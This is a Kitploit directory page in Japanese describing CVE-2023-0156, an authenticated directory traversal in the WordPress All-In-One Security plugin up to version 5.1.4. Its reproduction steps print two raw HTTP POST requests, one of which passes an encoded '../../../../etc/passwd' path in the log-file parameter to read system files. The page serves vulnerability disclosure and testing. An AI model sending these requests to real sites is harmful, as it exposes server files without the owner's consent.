Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-0156 — CVE-2023-0156 脆弱性のリポジトリ。 | Kitploit
ツール/GitHubGitHub/b0marek/cve-2023-0156
脆弱性分析エクスプロイト情報収集ウェブセキュリティペネトレーションテスト
GitHubb0marek/cve-2023-0156

CVE-2023-0156

CVE-2023-0156 脆弱性のリポジトリ。

リポジトリを見る
2年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE ID: CVE-2023-0156

脆弱性タイプ: ディレクトリトラバーサル

説明: WordPress 用 All-In-One Security (AIOS) プラグインは、バージョン 5.1.4 以前においてディレクトリトラバーサルの脆弱性の影響を受けます。これにより、管理者権限を持つ認証済みの攻撃者が、サーバー上の任意のファイルの内容を読み取ることが可能になります。

再現手順:

root@kitploit:~
POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab=tab4 HTTP/2
Host: <host>
Cookie: <cookies>
Content-Length: 125
Content-Type: application/x-www-form-urlencoded

_wpnonce=<nonce>&aiowps_system_log_file=..%2F..%2F..%2F..%2Fetc%2Fpasswd&aiowps_search_error_files=View+latest+system+logs
root@kitploit:~
POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab=tab4 HTTP/2
Host: <host>
Cookie: <cookies>
Content-Length: 98
Content-Type: application/x-www-form-urlencoded

_wpnonce=<nonce>&aiowps_system_log_file=..%2F&aiowps_search_error_files=View+latest+system+logs

参照:

  1. https://wpscan.com/vulnerability/caf1dbb5-197e-41e9-8f48-ba1f2360a759
  2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0156
  3. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/all-in-one-wp-security-and-firewall/all-in-one-security-aios-514-authenticatedadmin-directory-traversal
ツールをダウンロード